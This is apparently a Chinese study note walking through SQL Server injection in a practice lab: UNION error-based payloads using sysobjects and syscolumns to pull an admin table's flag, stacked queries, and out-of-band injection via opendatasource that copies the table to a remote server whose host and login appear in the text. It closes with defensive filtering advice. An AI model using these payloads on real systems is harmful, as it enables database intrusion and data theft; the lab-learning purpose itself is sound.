只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力!
既然要学习SQLserver
数据库的注入知识,那当然得先了解一下SQLserver
的语句。
数据库都有着相通的地方,所以其SQL语句
也相差不大。先来看一下SQLserver
数据库是怎样的一个数据结构。
根据截图我们能看到,SQLserver
不是像MYSQL
那样,一打开就显示的全是库名,而这边就显示了两个选项dbo
和guest
,在SQLserver
中,DBO
是每个数据库的默认用户,具有所有者权限,即DbOwner
,guest
则是来宾权限。
简单创建了一个表,并查询了一下表里的数据。看看我们应该如何去注入这个表,用怎样的方法去注入,因为SQLserver
它没有和MYSQL
那样自带一个information_schema
的库,但是它可以用sysobjects
和syscolumns
来完成注入。
在sysobjects
表中,有着许许多多的数据,但是注意下图。
我们自己创建的admin
表,在这里所对应字段xtype
的数据是U
,这是因为,我们是以user
用户创建的,用户创建的表,在这里的xtype
字段都将是U
。
这里的id
字段也起到了关键作用。我们可以在这个表,将字段数据设置为U
然后去查询对应name
字段的数据,这样就能取到表名。在看如何取到admin
表的字段名。
在这个表中,我们看到了admin
的字段名为id
和name
,这里的查询关键就是刚刚的id字段所对应的数据,所以限制条件就能正确拿到admin
的表名。
基本知识已经普及了,去看一下SQLserver
的显错注入应该怎么做。
进入靶场环境。这个靶场看起来更像是模拟了一个数据库的可视化工具。我们还是和以前一样用浏览器插件去尝试。
测试语句:
and 1 like 2-- q
语句没有成功,靶场还贴心的告诉了我们错误的地方在哪,看情况是因为这里有着单引号的存在,我们输入的语句在单引号中,这里需要我们先将其闭合一下在尝试。
测试语句:
'and 1 like 2-- q
语句执行成功,但什么动没有显示,是因为这里加入了False
条件的原因。用order by
测试一下这里的字段数。
测试语句:
'order by 1-- q
经过几次测试,这里的字段数为3。接着看一下这里的显错点在哪
测试语句:
'and 1 like 2 union all select 1,2,3-- q
我们看到这里有这三个报错点,根据我们一开始学习到的知识,想要取得表名,我们只需要在sysobjects
的表限制条件为xtype='U'
,查询字段name
和id
的就能拿到我们想要的数据。
测试语句:
'and 1 like 2 union all select name,id,3 from sysobjects where xtype='U'-- q
这里我们看到,语句并没有执行成功,其实这里的问题出在字段类型上,我们所查询的数据,并不能在该显错位显示出来。所以得先确认一下三个显错位是什么类型的。不用的空位置,用null
代替。
测试语句:
'and 1 like 2 union all select 1,null,null-- q
这里能看到,一号显错位是int
类型的,所以让它输出varchar
自然就会出错。现在在合理规划一下输出位置在执行。
测试语句:
'and 1 like 2 union all select id,name,null from sysobjects where xtype='U'-- q
这样就取到了数据,在这个这些数据中,admin
表最应该引起我们的注意,要注意这里需要取下admin
表所对应的id
字段数据,我们需要拿到syscolumns
表里查字段名。
测试语句:
'and 1 like 2 union all select id,name,null from syscolumns where id=1977058079-- q
这里就得到了admin
表里的所有字段名,有这些字段了就能查询数据了,挑选三个可疑字段名字,id,passed,token
。带入语句测试
测试语句:
'and 1 like 2 union all select id,passwd,token from admin-- q
在token
字段找到了flag
数据。
先说一下堆叠注入
堆叠注入描述很简单,就是将几个句子一起执行
比如
select * from users where id=1;create table test like users;
前面一个句子是查询users表里的数据
后面一个句子是新建一个表 ,如下图
执行成功,我们在看一下创建的test
表格
这里的分号的意思就是将两个句子分割开,分号表示的是一个语句的结束,这个在后面反弹注入起到了关键的作用。
反弹注入的应用场景并非是在现在这样的情况下使用的,因为这里根本就不需要这样去做。反弹注入的方法,主要是用在,这个地方不可以多次去尝试,测试多了ban
掉你的ip
,不让你进一步测试。反弹注入可只需要几条命令,就能取出完完全全的数据。当然这里也是有必要条件的。1.两个数据库要能连接.2.反弹过去的数据字段数要一样,不可多也不能少。
先看一下SQLserver
反弹注入的
测试语句:
;insert into opendatasource('sqloledb','server=den1.mssql8.gear.host,1433;uid=nfnfnf;pwd=Mw2Q?HsVk!H3;database=nfnfnf').nfnfnf.dbo.list select *from admin -- q
这里语句可以分为几个部分去理解
清晰明了
因为使用的是同一个靶场,所以我们这里是知道表有4个字段的,我们先在自己的SQLserver数据库
创建一个list
表,并有4个字段就好。
这里list
表已经创建好,先对刚刚的语句做一些修改,加入自己SQLserver
数据库的连接信息。
测试语句:
;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBF5F_uynvprlnc_admin;pwd=uynvprlnc;database=DB_14DBF5F_uynvprlnc_admin).DB_14DBF5F_uynvprlnc_admin.dbo.list select *from admin -- q
这里就一下就拿到了flag数据
,有关实际情况中怎么去知道那个地方有多少字段的问题,我们可以这样操作,我们在去取数据前,先对其syscolumns
表做一次表的全弹出,这样就能知道你要查的那个表是多少个字段了。
SQLserver
的这几个注入,和其他注入差别并不大,所以防护手段也差不多,主要以过滤为主,过滤字符,标点符号也尽量过,还可以过滤掉opendatasource
这样的连接函数,或者不要让服务器出网访问,这样就会安全很多。当然了这样随之就会失去了这些便利的方法。我们也主要找的就是安全的高低和服务使用体验的平衡点。
《最好的防御,是明白其怎么实施的攻击》